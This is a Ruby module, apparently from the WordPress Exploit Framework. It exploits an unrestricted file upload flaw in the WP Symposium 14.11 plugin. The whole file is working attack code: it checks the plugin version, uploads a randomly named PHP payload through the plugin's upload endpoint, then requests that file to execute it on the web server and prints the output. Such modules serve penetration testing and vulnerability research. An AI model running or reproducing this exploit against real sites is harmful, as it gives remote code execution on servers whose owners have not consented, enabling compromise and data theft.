lib/wpxf/modules/exploit/shell/symposium_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::SymposiumShellUpload < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
def initialize
super
update_info(
name: 'WP Symposium 14.11 Unrestricted File Upload',
desc: 'WP Symposium Plugin for WordPress contains a flaw that allows a '\
'remote attacker to execute arbitrary PHP code. This flaw exists '\
'because the /wp-symposium/server/file_upload_form.php script '\
'does not properly verify or sanitize user-uploaded files. By '\
'uploading a .php file, the remote system will place the file in '\
'a user-accessible path. Making a direct request to the uploaded '\
'file will allow the attacker to execute the script with the '\
'privileges of the web server.',
author: [
'Claudio Viviani', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['WPVDB', '7716']
],
date: 'Dec 11 2014'
)
end
def check
check_plugin_version_from_readme('wp-symposium', '14.12')
end
def symposium_url
normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
end
def successful_upload(res)
res && res.code == 200 && res.body.length > 0 &&
!res.body.include?('error') && !res.body.eql?('0')
end
def payload_body_builder(payload_name, directory_name)
builder = Utility::BodyBuilder.new
builder.add_field('uploader_uid', '1')
builder.add_field('uploader_dir', "./#{directory_name}/")
builder.add_field('uploader_url', symposium_url.sub(base_uri, ''))
builder.add_file_from_string('files[]', payload.encoded, payload_name)
builder
end
def run
return false unless super
emit_info 'Preparing payload...'
payload_id = Utility::Text.rand_alpha(10)
payload_file = "#{payload_id}.php"
payload_url = normalize_uri(symposium_url, payload_id, payload_file)
builder = payload_body_builder(payload_file, payload_id)
emit_info 'Uploading the payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: normalize_uri(symposium_url, 'index.php'), body: body)
end
if successful_upload(res)
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
return true
else
emit_error "HTTP status: #{res.code}", true
emit_error "Server returned: #{res.body}", true
emit_error 'Failed to upload the payload'
return false
end
end
end